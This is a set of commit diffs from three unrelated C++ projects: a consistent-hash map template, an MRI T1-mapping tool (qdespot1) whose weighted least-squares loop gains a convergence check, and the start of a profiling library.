if (itr != mObjectList.end())
{
mObjectList.erase(itr);
mxConsistentHash.Erase(name);
return true;
}
return false;
}
bool ClearAll()
{
mObjectList.clear();
mxConsistentHash.ClearAll();
return true;
}
private:
int mnWeigh = 0;
NFCConsistentHash<T> mxConsistentHash;
};
#endif<commit_msg>fixed for compile<commit_after>// -------------------------------------------------------------------------
// @FileName : NFMapEx.h
// @Author : LvSheng.Huang
// @Date : 2012-03-01
// @Module : ָר,мǣѭԼɾԼ
//
// -------------------------------------------------------------------------
#ifndef NF_MAPEX_H
#define NF_MAPEX_H
#include <map>
#include <list>
#include <string>
#include <iostream>
#include <typeinfo>
#include <memory>
#include "NFCConsistentHash.hpp"
#include "NFComm/NFPluginModule/NFPlatform.h"
template <typename T , typename TD>
class NFMapEx
{
public:
typedef std::map<T, NF_SHARE_PTR<TD> > NFMapOBJECT;
NFMapEx() {};
virtual ~NFMapEx()
{
};
virtual bool ExistElement(const T& name)
{
typename NFMapOBJECT::iterator itr = mObjectList.find(name);
if (itr != mObjectList.end())
{
return true;
}
else
{
return false;
}
}
/*
virtual NF_SHARE_PTR<TD> AddElement(const T& name)
{
typename NFMapOBJECT::iterator itr = mObjectList.find(name);
if (itr == mObjectList.end())
{
NF_SHARE_PTR<TD> data(NF_NEW TD());
mObjectList.insert(typename NFMapOBJECT::value_type(name, data));
return data;
}
return NF_SHARE_PTR<TD>();
}
*/
virtual bool AddElement(const T& name, const NF_SHARE_PTR<TD> data)
{
typename NFMapOBJECT::iterator itr = mObjectList.find(name);
if (itr == mObjectList.end())
{
mObjectList.insert(typename NFMapOBJECT::value_type(name, data));
return true;
}
return false;
}
virtual bool RemoveElement(const T& name)
{
typename NFMapOBJECT::iterator itr = mObjectList.find(name);
if (itr != mObjectList.end())
{
mObjectList.erase(itr);
return true;
}
return false;
}
virtual TD* GetElementNude(const T& name)
{
typename NFMapOBJECT::iterator itr = mObjectList.find(name);
if (itr != mObjectList.end())
{
return itr->second.get();
}
else
{
return NULL;
}
}
virtual NF_SHARE_PTR<TD> GetElement(const T& name)
{
typename NFMapOBJECT::iterator itr = mObjectList.find(name);
if (itr != mObjectList.end())
{
return itr->second;
}
else
{
return NF_SHARE_PTR<TD>();
}
}
virtual TD* FirstNude(T& name)
{
if (mObjectList.size() <= 0)
{
return NULL;
}
mObjectCurIter = mObjectList.begin();
if (mObjectCurIter != mObjectList.end())
{
name = mObjectCurIter->first;
return mObjectCurIter->second.get();
}
else
{
return NULL;
}
}
virtual TD* NextNude(T& name)
{
if (mObjectCurIter == mObjectList.end())
{
return NULL;
}
mObjectCurIter++;
if (mObjectCurIter != mObjectList.end())
{
name = mObjectCurIter->first;
return mObjectCurIter->second.get();
}
else
{
return NULL;
}
}
virtual TD* FirstNude()
{
if (mObjectList.size() <= 0)
{
return NULL;
}
mObjectCurIter = mObjectList.begin();
if (mObjectCurIter != mObjectList.end())
{
return mObjectCurIter->second.get();
}
else
{
return NULL;
}
}
virtual TD* NextNude()
{
if (mObjectCurIter == mObjectList.end())
{
return NULL;
}
mObjectCurIter++;
if (mObjectCurIter != mObjectList.end())
{
return mObjectCurIter->second.get();
}
else
{
return NULL;
}
}
virtual NF_SHARE_PTR<TD> First()
{
if (mObjectList.size() <= 0)
{
return NF_SHARE_PTR<TD>();
}
mObjectCurIter = mObjectList.begin();
if (mObjectCurIter != mObjectList.end())
{
return mObjectCurIter->second;
}
else
{
return NF_SHARE_PTR<TD>();
}
}
virtual NF_SHARE_PTR<TD> Next()
{
if (mObjectCurIter == mObjectList.end())
{
return NF_SHARE_PTR<TD>();
}
++mObjectCurIter;
if (mObjectCurIter != mObjectList.end())
{
return mObjectCurIter->second;
}
else
{
return NF_SHARE_PTR<TD>();
}
}
virtual NF_SHARE_PTR<TD> First(T& name)
{
if (mObjectList.size() <= 0)
{
return NF_SHARE_PTR<TD>();
}
mObjectCurIter = mObjectList.begin();
if (mObjectCurIter != mObjectList.end())
{
name = mObjectCurIter->first;
return mObjectCurIter->second;
}
else
{
return NF_SHARE_PTR<TD>();
}
}
virtual NF_SHARE_PTR<TD> Next(T& name)
{
if (mObjectCurIter == mObjectList.end())
{
return NF_SHARE_PTR<TD>();
}
mObjectCurIter++;
if (mObjectCurIter != mObjectList.end())
{
name = mObjectCurIter->first;
return mObjectCurIter->second;
}
else
{
return NF_SHARE_PTR<TD>();
}
}
int Count()
{
return (int)mObjectList.size();
}
bool ClearAll()
{
mObjectList.clear();
return true;
}
protected:
NFMapOBJECT mObjectList;
typename NFMapOBJECT::iterator mObjectCurIter;
};
template <typename T, typename TD>
class NFCConsistentHashMapEx : public NFMapEx<T, TD>
{
public:
virtual void InitHashNodeWeith(const int nWeigh = 500)
{
mnWeigh = nWeigh;
}
virtual NF_SHARE_PTR<TD> GetElementBySuit()
{
NFCVirtualNode<T> vNode;
if (mxConsistentHash.GetSuitNode(vNode))
{
typename NFMapEx<T, TD>::NFMapOBJECT::iterator itr = NFMapEx<T, TD>::mObjectList.find(vNode.mxData);
if (itr != NFMapEx<T, TD>::mObjectList.end())
{
return itr->second;
}
}
return NULL;
}
virtual NF_SHARE_PTR<TD> GetElementBySuit(const T& name)
{
NFCVirtualNode<T> vNode;
if (mxConsistentHash.GetSuitNode(name, vNode))
{
typename NFMapEx<T, TD>::NFMapOBJECT::iterator itr = NFMapEx<T, TD>::mObjectList.find(vNode.mxData);
if (itr != NFMapEx<T, TD>::mObjectList.end())
{
return itr->second;
}
}
return NULL;
}
virtual bool AddElement(const T& name, const NF_SHARE_PTR<TD> data)
{
typename NFMapEx<T, TD>::NFMapOBJECT::iterator itr = NFMapEx<T, TD>::mObjectList.find(name);
if (itr == NFMapEx<T, TD>::mObjectList.end())
{
NFMapEx<T, TD>::mObjectList.insert(typename NFMapEx<T, TD>::NFMapOBJECT::value_type(name, data));
mxConsistentHash.Insert(name);
return true;
}
return false;
}
virtual bool RemoveElement(const T& name)
{
typename NFMapEx<T, TD>::NFMapOBJECT::iterator itr = NFMapEx<T, TD>::mObjectList.find(name);
if (itr != NFMapEx<T, TD>::mObjectList.end())
{
NFMapEx<T, TD>::mObjectList.erase(itr);
mxConsistentHash.Erase(name);
return true;
}
return false;
}
bool ClearAll()
{
NFMapEx<T, TD>::mObjectList.clear();
mxConsistentHash.ClearAll();
return true;
}
private:
int mnWeigh = 0;
NFCConsistentHash<T> mxConsistentHash;
};
#endif<|endoftext|>
|
<commit_before>/*
* qdespot1.cpp - Part of QUantitative Imaging Tools
*
* Copyright (c) 2015 Tobias Wood.
*
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/.
*
*/
#include <time.h>
#include <getopt.h>
#include <iostream>
#include <atomic>
#include <Eigen/Dense>
#include "itkImageFileReader.h"
#include "Filters/ImageToVectorFilter.h"
#include "Filters/ApplyAlgorithmFilter.h"
#include "Model.h"
#include "Sequence.h"
#include "Util.h"
using namespace std;
using namespace Eigen;
//******************************************************************************
// Algorithm Subclasses
//******************************************************************************
class D1Algo : public Algorithm<double> {
public:
static const size_t DefaultIterations = 15;
protected:
const shared_ptr<Model> m_model = make_shared<SCD>();
shared_ptr<SPGRSimple> m_sequence;
size_t m_iterations = DefaultIterations;
double m_thresh = -numeric_limits<double>::infinity();
double m_lo = -numeric_limits<double>::infinity();
double m_hi = numeric_limits<double>::infinity();
public:
void setIterations(size_t n) { m_iterations = n; }
size_t getIterations() { return m_iterations; }
void setSequence(shared_ptr<SPGRSimple> &s) { m_sequence = s; }
void setThreshold(double t) { m_thresh = t; }
void setClamp(double lo, double hi) { m_lo = lo; m_hi = hi; }
size_t numInputs() const override { return m_sequence->count(); }
size_t numConsts() const override { return 1; }
size_t numOutputs() const override { return 2; }
size_t dataSize() const override { return m_sequence->size(); }
virtual TArray defaultConsts() override {
// B1
TArray def = TArray::Ones(1);
return def;
}
};
class D1LLS : public D1Algo {
public:
virtual void apply(const TInput &data, const TArray &inputs,
TArray &outputs, TArray &resids, TIterations &its) const override
{
double B1 = inputs[0];
ArrayXd flip = m_sequence->flip() * B1;
VectorXd Y = data / flip.sin();
MatrixXd X(Y.rows(), 2);
X.col(0) = data / flip.tan();
X.col(1).setOnes();
VectorXd b = (X.transpose() * X).partialPivLu().solve(X.transpose() * Y);
outputs[1] = -m_sequence->TR() / log(b[0]);
outputs[0] = b[1] / (1. - b[0]);
ArrayXd theory = One_SPGR(m_sequence->flip(), m_sequence->TR(), outputs[0], outputs[1], B1).array().abs();
resids = (data.array() - theory);
if (outputs[0] < m_thresh)
outputs.setZero();
outputs[1] = clamp(outputs[1], m_lo, m_hi);
its = 1;
}
};
class D1WLLS : public D1Algo {
public:
virtual void apply(const TInput &data, const TArray &inputs,
TArray &outputs, TArray &resids, TIterations &its) const override
{
double B1 = inputs[0];
ArrayXd flip = m_sequence->flip() * B1;
VectorXd Y = data / flip.sin();
MatrixXd X(Y.rows(), 2);
X.col(0) = data / flip.tan();
X.col(1).setOnes();
VectorXd b = (X.transpose() * X).partialPivLu().solve(X.transpose() * Y);
outputs[1] = -m_sequence->TR() / log(b[0]);
outputs[0] = b[1] / (1. - b[0]);
for (size_t n = 0; n < m_iterations; n++) {
MatrixXd W = (flip.sin() / (1. - (exp(-m_sequence->TR()/outputs[1])*flip.cos()))).square();
b = (X.transpose() * W.asDiagonal() * X).partialPivLu().solve(X.transpose() * W.asDiagonal() * Y);
outputs[1] = -m_sequence->TR() / log(b[0]);
outputs[0] = b[1] / (1. - b[0]);
}
ArrayXd theory = One_SPGR(m_sequence->flip(), m_sequence->TR(), outputs[0], outputs[1], B1).array().abs();
resids = (data.array() - theory);
if (outputs[0] < m_thresh)
outputs.setZero();
outputs[1] = clamp(outputs[1], m_lo, m_hi);
its = m_iterations;
}
};
// T1 only Functor
class T1Functor : public DenseFunctor<double> {
protected:
const shared_ptr<SequenceBase> m_sequence;
const ArrayXd m_data;
const double m_B1;
const shared_ptr<SCD> m_model;
public:
T1Functor(const shared_ptr<SequenceBase> cs, const ArrayXd &data, const double B1) :
DenseFunctor<double>(2, cs->size()),
m_sequence(cs), m_data(data), m_B1(B1)
{
assert(static_cast<size_t>(m_data.rows()) == values());
}
int operator()(const Ref<VectorXd> &p, Ref<ArrayXd> diffs) const {
eigen_assert(diffs.size() == values());
ArrayXd s = One_SPGR(m_sequence->flip(), m_sequence->TR(), p[0], p[1], m_B1).array().abs();
diffs = s.abs() - m_data;
return 0;
}
};
class D1NLLS : public D1Algo {
public:
virtual void apply(const TInput &data, const TArray &inputs,
TArray &outputs, TArray &resids, TIterations &its) const override
{
double B1 = inputs[0];
T1Functor f(m_sequence, data, B1);
NumericalDiff<T1Functor> nDiff(f);
LevenbergMarquardt<NumericalDiff<T1Functor>> lm(nDiff);
lm.setMaxfev(m_iterations * (m_sequence->size() + 1));
// PD & T1 - Initial guess of 1s
VectorXd p(2); p << data.maxCoeff() * 10., 1.;
lm.minimize(p);
outputs = p;
ArrayXd theory = One_SPGR(m_sequence->flip(), m_sequence->TR(), outputs[0], outputs[1], B1).array().abs();
resids = data.array() - theory;
if (outputs[0] < m_thresh)
outputs.setZero();
outputs[1] = clamp(outputs[1], m_lo, m_hi);
its = lm.iterations();
}
};
//******************************************************************************
// Arguments / Usage
//******************************************************************************
const string usage {
"Usage is: despot1 [options] spgr_input \n\
\
Options:\n\
--help, -h : Print this message\n\
--verbose, -v : Print more information\n\
--no-prompt, -n : Suppress input prompts\n\
--out, -o path : Add a prefix to the output filenames\n\
--mask, -m file : Mask input with specified file\n\
--B1, -b file : B1 Map file (ratio)\n\
--thresh, -t n : Threshold maps at PD < n\n\
--clamp, -c n : Clamp T1 between 0 and n\n\
--algo, -a l : LLS algorithm (default)\n\
w : WLLS algorithm\n\
n : NLLS (Levenberg-Marquardt)\n\
--its, -i N : Max iterations for WLLS/NLLS (default 15)\n\
--resids, -r : Write out per flip-angle residuals\n\
--threads, -T N : Use N threads (default=hardware limit)\n"
};
bool verbose = false, prompt = true, all_residuals = false;
string outPrefix;
const struct option long_options[] =
{
{"help", no_argument, 0, 'h'},
{"verbose", no_argument, 0, 'v'},
{"no-prompt", no_argument, 0, 'n'},
{"out", required_argument, 0, 'o'},
{"mask", required_argument, 0, 'm'},
{"B1", required_argument, 0, 'b'},
{"thresh", required_argument, 0, 't'},
{"clamp", required_argument, 0, 'c'},
{"algo", required_argument, 0, 'a'},
{"its", required_argument, 0, 'i'},
{"resids", no_argument, 0, 'r'},
{"threads", required_argument, 0, 'T'},
{0, 0, 0, 0}
};
static const char *short_opts = "hvnm:o:b:t:c:a:i:rT:";
//******************************************************************************
// Main
//******************************************************************************
int main(int argc, char **argv) {
Eigen::initParallel();
QI::ReadImageF::Pointer mask = ITK_NULLPTR;
QI::ReadImageF::Pointer B1 = ITK_NULLPTR;
shared_ptr<D1Algo> algo = make_shared<D1LLS>();
int indexptr = 0, c;
while ((c = getopt_long(argc, argv, short_opts, long_options, &indexptr)) != -1) {
switch (c) {
case 'v': verbose = true; break;
case 'n': prompt = false; break;
case 'a':
switch (*optarg) {
case 'l': algo = make_shared<D1LLS>(); if (verbose) cout << "LLS algorithm selected." << endl; break;
case 'w': algo = make_shared<D1WLLS>(); if (verbose) cout << "WLLS algorithm selected." << endl; break;
case 'n': algo = make_shared<D1NLLS>(); if (verbose) cout << "NLLS algorithm selected." << endl; break;
default:
cerr << "Unknown algorithm type " << optarg << endl;
return EXIT_FAILURE;
break;
} break;
default: break;
}
}
optind = 1;
while ((c = getopt_long(argc, argv, short_opts, long_options, &indexptr)) != -1) {
switch (c) {
case 'v': case 'n': case 'a': break;
case 'm':
if (verbose) cout << "Opening mask file " << optarg << endl;
mask = QI::ReadImageF::New();
mask->SetFileName(optarg);
break;
case 'o':
outPrefix = optarg;
if (verbose) cout << "Output prefix will be: " << outPrefix << endl;
break;
case 'b':
if (verbose) cout << "Opening B1 file: " << optarg << endl;
B1 = QI::ReadImageF::New();
B1->SetFileName(optarg);
break;
case 't': algo->setThreshold(atof(optarg)); break;
case 'c': algo->setClamp(0, atof(optarg)); break;
case 'i': algo->setIterations(atoi(optarg)); break;
case 'r': all_residuals = true; break;
case 'T': itk::MultiThreader::SetGlobalMaximumNumberOfThreads(atoi(optarg)); break;
case 'h':
cout << usage << endl;
return EXIT_SUCCESS;
case '?': // getopt will print an error message
return EXIT_FAILURE;
default:
cout << "Unhandled option " << string(1, c) << endl;
return EXIT_FAILURE;
}
}
if ((argc - optind) != 1) {
cout << "Incorrect number of arguments." << endl << usage << endl;
return EXIT_FAILURE;
}
string inputFilename = argv[optind++];
if (verbose) cout << "Opening SPGR file: " << inputFilename << endl;
auto input = QI::ReadTimeseriesF::New();
auto convert = QI::TimeseriesToVectorF::New();
input->SetFileName(inputFilename);
convert->SetInput(input->GetOutput());
shared_ptr<SPGRSimple> spgrSequence = make_shared<SPGRSimple>(prompt);
if (verbose) cout << *spgrSequence;
algo->setSequence(spgrSequence);
auto apply = itk::ApplyAlgorithmFilter<D1Algo>::New();
apply->SetAlgorithm(algo);
apply->SetInput(0, convert->GetOutput());
if (mask)
apply->SetMask(mask->GetOutput());
if (B1)
apply->SetConst(0, B1->GetOutput());
if (verbose) {
cout << "Processing" << endl;
auto monitor = QI::GenericMonitor::New();
apply->AddObserver(itk::ProgressEvent(), monitor);
}
apply->Update();
if (verbose) cout << "Writing results." << endl;
outPrefix = outPrefix + "D1_";
QI::writeResult(apply->GetOutput(0), outPrefix + "PD.nii");
QI::writeResult(apply->GetOutput(1), outPrefix + "T1.nii");
QI::writeResiduals(apply->GetResidOutput(), outPrefix, all_residuals);
if (algo->getIterations() != D1Algo::DefaultIterations) {
QI::writeResult<QI::ImageI>(apply->GetIterationsOutput(), outPrefix + "iterations.nii");
}
if (verbose) cout << "Finished." << endl;
return EXIT_SUCCESS;
}
<commit_msg>WLLS now outputs the number of iterations before convergence.<commit_after>/*
* qdespot1.cpp - Part of QUantitative Imaging Tools
*
* Copyright (c) 2015 Tobias Wood.
*
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/.
*
*/
#include <time.h>
#include <getopt.h>
#include <iostream>
#include <atomic>
#include <Eigen/Dense>
#include "itkImageFileReader.h"
#include "Filters/ImageToVectorFilter.h"
#include "Filters/ApplyAlgorithmFilter.h"
#include "Model.h"
#include "Sequence.h"
#include "Util.h"
using namespace std;
using namespace Eigen;
//******************************************************************************
// Algorithm Subclasses
//******************************************************************************
class D1Algo : public Algorithm<double> {
public:
static const size_t DefaultIterations = 15;
protected:
const shared_ptr<Model> m_model = make_shared<SCD>();
shared_ptr<SPGRSimple> m_sequence;
size_t m_iterations = DefaultIterations;
double m_thresh = -numeric_limits<double>::infinity();
double m_lo = -numeric_limits<double>::infinity();
double m_hi = numeric_limits<double>::infinity();
public:
void setIterations(size_t n) { m_iterations = n; }
size_t getIterations() { return m_iterations; }
void setSequence(shared_ptr<SPGRSimple> &s) { m_sequence = s; }
void setThreshold(double t) { m_thresh = t; }
void setClamp(double lo, double hi) { m_lo = lo; m_hi = hi; }
size_t numInputs() const override { return m_sequence->count(); }
size_t numConsts() const override { return 1; }
size_t numOutputs() const override { return 2; }
size_t dataSize() const override { return m_sequence->size(); }
virtual TArray defaultConsts() override {
// B1
TArray def = TArray::Ones(1);
return def;
}
};
class D1LLS : public D1Algo {
public:
virtual void apply(const TInput &data, const TArray &inputs,
TArray &outputs, TArray &resids, TIterations &its) const override
{
double B1 = inputs[0];
ArrayXd flip = m_sequence->flip() * B1;
VectorXd Y = data / flip.sin();
MatrixXd X(Y.rows(), 2);
X.col(0) = data / flip.tan();
X.col(1).setOnes();
VectorXd b = (X.transpose() * X).partialPivLu().solve(X.transpose() * Y);
outputs[1] = -m_sequence->TR() / log(b[0]);
outputs[0] = b[1] / (1. - b[0]);
ArrayXd theory = One_SPGR(m_sequence->flip(), m_sequence->TR(), outputs[0], outputs[1], B1).array().abs();
resids = (data.array() - theory);
if (outputs[0] < m_thresh)
outputs.setZero();
outputs[1] = clamp(outputs[1], m_lo, m_hi);
its = 1;
}
};
class D1WLLS : public D1Algo {
public:
virtual void apply(const TInput &data, const TArray &inputs,
TArray &outputs, TArray &resids, TIterations &its) const override
{
double B1 = inputs[0];
ArrayXd flip = m_sequence->flip() * B1;
VectorXd Y = data / flip.sin();
MatrixXd X(Y.rows(), 2);
X.col(0) = data / flip.tan();
X.col(1).setOnes();
VectorXd b = (X.transpose() * X).partialPivLu().solve(X.transpose() * Y);
outputs[1] = -m_sequence->TR() / log(b[0]);
outputs[0] = b[1] / (1. - b[0]);
for (its = 0; its < m_iterations; its++) {
VectorXd W = (flip.sin() / (1. - (exp(-m_sequence->TR()/outputs[1])*flip.cos()))).square();
b = (X.transpose() * W.asDiagonal() * X).partialPivLu().solve(X.transpose() * W.asDiagonal() * Y);
Array2d newOutputs;
newOutputs[1] = -m_sequence->TR() / log(b[0]);
newOutputs[0] = b[1] / (1. - b[0]);
if (newOutputs.isApprox(outputs))
break;
else
outputs = newOutputs;
}
ArrayXd theory = One_SPGR(m_sequence->flip(), m_sequence->TR(), outputs[0], outputs[1], B1).array().abs();
resids = (data.array() - theory);
if (outputs[0] < m_thresh)
outputs.setZero();
outputs[1] = clamp(outputs[1], m_lo, m_hi);
}
};
// T1 only Functor
class T1Functor : public DenseFunctor<double> {
protected:
const shared_ptr<SequenceBase> m_sequence;
const ArrayXd m_data;
const double m_B1;
const shared_ptr<SCD> m_model;
public:
T1Functor(const shared_ptr<SequenceBase> cs, const ArrayXd &data, const double B1) :
DenseFunctor<double>(2, cs->size()),
m_sequence(cs), m_data(data), m_B1(B1)
{
assert(static_cast<size_t>(m_data.rows()) == values());
}
int operator()(const Ref<VectorXd> &p, Ref<ArrayXd> diffs) const {
eigen_assert(diffs.size() == values());
ArrayXd s = One_SPGR(m_sequence->flip(), m_sequence->TR(), p[0], p[1], m_B1).array().abs();
diffs = s.abs() - m_data;
return 0;
}
};
class D1NLLS : public D1Algo {
public:
virtual void apply(const TInput &data, const TArray &inputs,
TArray &outputs, TArray &resids, TIterations &its) const override
{
double B1 = inputs[0];
T1Functor f(m_sequence, data, B1);
NumericalDiff<T1Functor> nDiff(f);
LevenbergMarquardt<NumericalDiff<T1Functor>> lm(nDiff);
lm.setMaxfev(m_iterations * (m_sequence->size() + 1));
// PD & T1 - Initial guess of 1s
VectorXd p(2); p << data.maxCoeff() * 10., 1.;
lm.minimize(p);
outputs = p;
ArrayXd theory = One_SPGR(m_sequence->flip(), m_sequence->TR(), outputs[0], outputs[1], B1).array().abs();
resids = data.array() - theory;
if (outputs[0] < m_thresh)
outputs.setZero();
outputs[1] = clamp(outputs[1], m_lo, m_hi);
its = lm.iterations();
}
};
//******************************************************************************
// Arguments / Usage
//******************************************************************************
const string usage {
"Usage is: despot1 [options] spgr_input \n\
\
Options:\n\
--help, -h : Print this message\n\
--verbose, -v : Print more information\n\
--no-prompt, -n : Suppress input prompts\n\
--out, -o path : Add a prefix to the output filenames\n\
--mask, -m file : Mask input with specified file\n\
--B1, -b file : B1 Map file (ratio)\n\
--thresh, -t n : Threshold maps at PD < n\n\
--clamp, -c n : Clamp T1 between 0 and n\n\
--algo, -a l : LLS algorithm (default)\n\
w : WLLS algorithm\n\
n : NLLS (Levenberg-Marquardt)\n\
--its, -i N : Max iterations for WLLS/NLLS (default 15)\n\
--resids, -r : Write out per flip-angle residuals\n\
--threads, -T N : Use N threads (default=hardware limit)\n"
};
bool verbose = false, prompt = true, all_residuals = false;
string outPrefix;
const struct option long_options[] =
{
{"help", no_argument, 0, 'h'},
{"verbose", no_argument, 0, 'v'},
{"no-prompt", no_argument, 0, 'n'},
{"out", required_argument, 0, 'o'},
{"mask", required_argument, 0, 'm'},
{"B1", required_argument, 0, 'b'},
{"thresh", required_argument, 0, 't'},
{"clamp", required_argument, 0, 'c'},
{"algo", required_argument, 0, 'a'},
{"its", required_argument, 0, 'i'},
{"resids", no_argument, 0, 'r'},
{"threads", required_argument, 0, 'T'},
{0, 0, 0, 0}
};
static const char *short_opts = "hvnm:o:b:t:c:a:i:rT:";
//******************************************************************************
// Main
//******************************************************************************
int main(int argc, char **argv) {
Eigen::initParallel();
QI::ReadImageF::Pointer mask = ITK_NULLPTR;
QI::ReadImageF::Pointer B1 = ITK_NULLPTR;
shared_ptr<D1Algo> algo = make_shared<D1LLS>();
int indexptr = 0, c;
while ((c = getopt_long(argc, argv, short_opts, long_options, &indexptr)) != -1) {
switch (c) {
case 'v': verbose = true; break;
case 'n': prompt = false; break;
case 'a':
switch (*optarg) {
case 'l': algo = make_shared<D1LLS>(); if (verbose) cout << "LLS algorithm selected." << endl; break;
case 'w': algo = make_shared<D1WLLS>(); if (verbose) cout << "WLLS algorithm selected." << endl; break;
case 'n': algo = make_shared<D1NLLS>(); if (verbose) cout << "NLLS algorithm selected." << endl; break;
default:
cerr << "Unknown algorithm type " << optarg << endl;
return EXIT_FAILURE;
break;
} break;
default: break;
}
}
optind = 1;
while ((c = getopt_long(argc, argv, short_opts, long_options, &indexptr)) != -1) {
switch (c) {
case 'v': case 'n': case 'a': break;
case 'm':
if (verbose) cout << "Opening mask file " << optarg << endl;
mask = QI::ReadImageF::New();
mask->SetFileName(optarg);
break;
case 'o':
outPrefix = optarg;
if (verbose) cout << "Output prefix will be: " << outPrefix << endl;
break;
case 'b':
if (verbose) cout << "Opening B1 file: " << optarg << endl;
B1 = QI::ReadImageF::New();
B1->SetFileName(optarg);
break;
case 't': algo->setThreshold(atof(optarg)); break;
case 'c': algo->setClamp(0, atof(optarg)); break;
case 'i': algo->setIterations(atoi(optarg)); break;
case 'r': all_residuals = true; break;
case 'T': itk::MultiThreader::SetGlobalMaximumNumberOfThreads(atoi(optarg)); break;
case 'h':
cout << usage << endl;
return EXIT_SUCCESS;
case '?': // getopt will print an error message
return EXIT_FAILURE;
default:
cout << "Unhandled option " << string(1, c) << endl;
return EXIT_FAILURE;
}
}
if ((argc - optind) != 1) {
cout << "Incorrect number of arguments." << endl << usage << endl;
return EXIT_FAILURE;
}
string inputFilename = argv[optind++];
if (verbose) cout << "Opening SPGR file: " << inputFilename << endl;
auto input = QI::ReadTimeseriesF::New();
auto convert = QI::TimeseriesToVectorF::New();
input->SetFileName(inputFilename);
convert->SetInput(input->GetOutput());
shared_ptr<SPGRSimple> spgrSequence = make_shared<SPGRSimple>(prompt);
if (verbose) cout << *spgrSequence;
algo->setSequence(spgrSequence);
auto apply = itk::ApplyAlgorithmFilter<D1Algo>::New();
apply->SetAlgorithm(algo);
apply->SetInput(0, convert->GetOutput());
if (mask)
apply->SetMask(mask->GetOutput());
if (B1)
apply->SetConst(0, B1->GetOutput());
if (verbose) {
cout << "Processing" << endl;
auto monitor = QI::GenericMonitor::New();
apply->AddObserver(itk::ProgressEvent(), monitor);
}
apply->Update();
if (verbose) cout << "Writing results." << endl;
outPrefix = outPrefix + "D1_";
QI::writeResult(apply->GetOutput(0), outPrefix + "PD.nii");
QI::writeResult(apply->GetOutput(1), outPrefix + "T1.nii");
QI::writeResiduals(apply->GetResidOutput(), outPrefix, all_residuals);
if (algo->getIterations() != D1Algo::DefaultIterations) {
QI::writeResult<QI::ImageI>(apply->GetIterationsOutput(), outPrefix + "iterations.nii");
}
if (verbose) cout << "Finished." << endl;
return EXIT_SUCCESS;
}
<|endoftext|>
|
<commit_before>// Copyright (C) 2014 Sean Middleditch, all rights reserverd.
#include "yardstick.h"
#if !defined(NO_YS)
#include <atomic>
#include <cstring>
#include <vector>
#include <mutex>
// we need this on Windows for the default clock
#if defined(_WIN32)
# define WIN32_LEAN_AND_MEAN
# include <windows.h>
#endif
namespace
{
/// Definition of a location.
/// @internal
struct Location
{
char const* file;
char const* func;
int line;
};
// we don't need actually identical locations; we just want to avoid sending strings too much
bool operator==(Location const& lhs, Location const& rhs)
{
return 0 == std::strcmp(lhs.file, rhs.file) &&
0 == std::strcmp(lhs.func, rhs.func) &&
lhs.line == rhs.line;
}
/// Default realloc() wrapper.
/// @internal
void* YS_CALL SystemAllocator(void* block, std::size_t bytes)
{
return realloc(block, bytes);
}
/// Default clock tick reader.
/// @internal
ysTime YS_CALL ReadSystemClock()
{
#if defined(_WIN32) || defined(_WIN64)
LARGE_INTEGER tmp;
QueryPerformanceCounter(&tmp);
return tmp.QuadPart;
#else
# error "Platform unsupported"
#endif
}
/// Default clock frequency reader.
/// @internal
ysTime YS_CALL ReadSystemFrequency()
{
#if defined(_WIN32) || defined(_WIN64)
LARGE_INTEGER tmp;
QueryPerformanceFrequency(&tmp);
return tmp.QuadPart;
#else
# error "Platform unsupported"
#endif
}
/// Find the index of a value in an array.
template <typename T>
std::size_t FindValue(T const* first, T const* last, T const& value)
{
for (T const* it = first; it != last; ++it)
if (*it == value)
return it - first;
return last - first;
}
/// Find the first occurance of a predicate in an array
template <typename T, typename Pred>
std::size_t FindIf(T const* first, T const* last, Pred const& pred)
{
for (T const* it = first; it != last; ++it)
if (pred(*it))
return it - first;
return last - first;
}
/// Default sink if none if provided, does nothing
/// @internal
class NullSink : public ysSink
{
public:
void YS_CALL BeginProfile(ysTime clockNow, ysTime clockFrequency) override {}
void YS_CALL EndProfile(ysTime clockNow) override {}
void YS_CALL AddLocation(ysLocationId locatonId, char const* fileName, int line, char const* functionName) override {}
void YS_CALL AddCounter(ysCounterId counterId, char const* counterName) override {}
void YS_CALL AddRegion(ysRegionId regionId, char const* zoneName) override {}
void YS_CALL IncrementCounter(ysCounterId counterId, ysLocationId locationId, uint64_t clockNow, double value) override {}
void YS_CALL EmitRegion(ysRegionId regionId, ysLocationId, ysTime clockStart, uint64_t clockEnd) override {}
void YS_CALL Tick(ysTime clockNow) override {}
} gNullSink;
/// Allocator using the main context.
/// @internal
template <typename T>
struct YsAllocator
{
using value_type = T;
T* allocate(std::size_t bytes);
void deallocate(T* block, std::size_t);
};
/// Default configuration.
/// @internal
struct DefaultConfiguration : ysConfiguration
{
DefaultConfiguration()
{
allocator = SystemAllocator;
readClock = ReadSystemClock;
readFrequency = ReadSystemFrequency;
sink = &gNullSink;
}
};
bool gInitialized = false;
bool gCapturing = false;
DefaultConfiguration gConfig;
ysSink* gActiveSink = &gNullSink;
std::vector<Location, YsAllocator<Location>> gLocations;
std::vector<char const*, YsAllocator<char const*>> gCounters;
std::vector<char const*, YsAllocator<char const*>> gRegions;
std::mutex gMutex;
}
template <typename T>
T* YsAllocator<T>::allocate(std::size_t count)
{
return static_cast<T*>(gConfig.allocator(nullptr, count * sizeof(T)));
}
template <typename T>
void YsAllocator<T>::deallocate(T* block, std::size_t)
{
gConfig.allocator(block, 0U);
}
ysErrorCode YS_API _ysInitialize(ysConfiguration const& config)
{
std::unique_lock<std::mutex> lock(gMutex);
// only allow initializing once per process
if (gInitialized)
return ysErrorCode::AlreadyInitialized;
// initialize the context with the user's configuration, if any
if (config.allocator != nullptr)
gConfig.allocator = config.allocator;
if (config.sink != nullptr)
gConfig.sink = config.sink;
if (config.readClock != nullptr)
gConfig.readClock = config.readClock;
if (config.readFrequency != nullptr)
gConfig.readFrequency = config.readFrequency;
return ysErrorCode::Success;
}
ysErrorCode YS_API _ysShutdown()
{
// the user possibly didn't bother with StopProfile first
_ysStopProfile();
std::unique_lock<std::mutex> lock(gMutex);
if (!gInitialized)
return ysErrorCode::Uninitialized;
// do this first, so checks from here on out "just work"
gInitialized = false;
gLocations.clear();
gCounters.clear();
gRegions.clear();
gLocations.shrink_to_fit();
gCounters.shrink_to_fit();
gRegions.shrink_to_fit();
// note that we must free memory above before restoring allocator below
gConfig = DefaultConfiguration();
return ysErrorCode::Success;
}
